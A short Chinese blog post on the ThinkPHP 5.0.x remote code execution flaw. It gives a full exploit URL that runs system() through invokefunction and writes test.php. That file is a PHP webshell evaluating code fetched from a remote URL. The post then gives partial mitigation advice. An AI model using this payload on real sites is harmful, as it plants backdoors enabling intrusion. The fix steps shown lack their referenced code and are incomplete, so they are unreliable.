这个THINKPHP5的漏洞涉及好几个版本,我测试中5.0.21和5.0.22都有,据说是5.0 ~ 5.0.23之间的版本都存在,这个漏洞可以执行写文件的操作。
当然了,赶紧升级框架到安全版本是比较好的方式,不过我这边测试了一下,发现确实可以通过url访问注入进行执行写文件操作,例如
http://你的域名/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval(file_get_contents("http%3a%2f%%2fphp.jpg"))?^>>test.php
之后在public下面发现了一个PHP文件 是 test.php
内容如下
访问test.php发现
我本地执行是这样的
然后就没有然后了 多么可怕!
网上有人说的解决方案是找到 thinkphp/library/think/App.php文件第556行那里
改为
对控制器进行一次过滤,当然为了保险还是要把配置的路由那里改一下
'url_route_on' => true,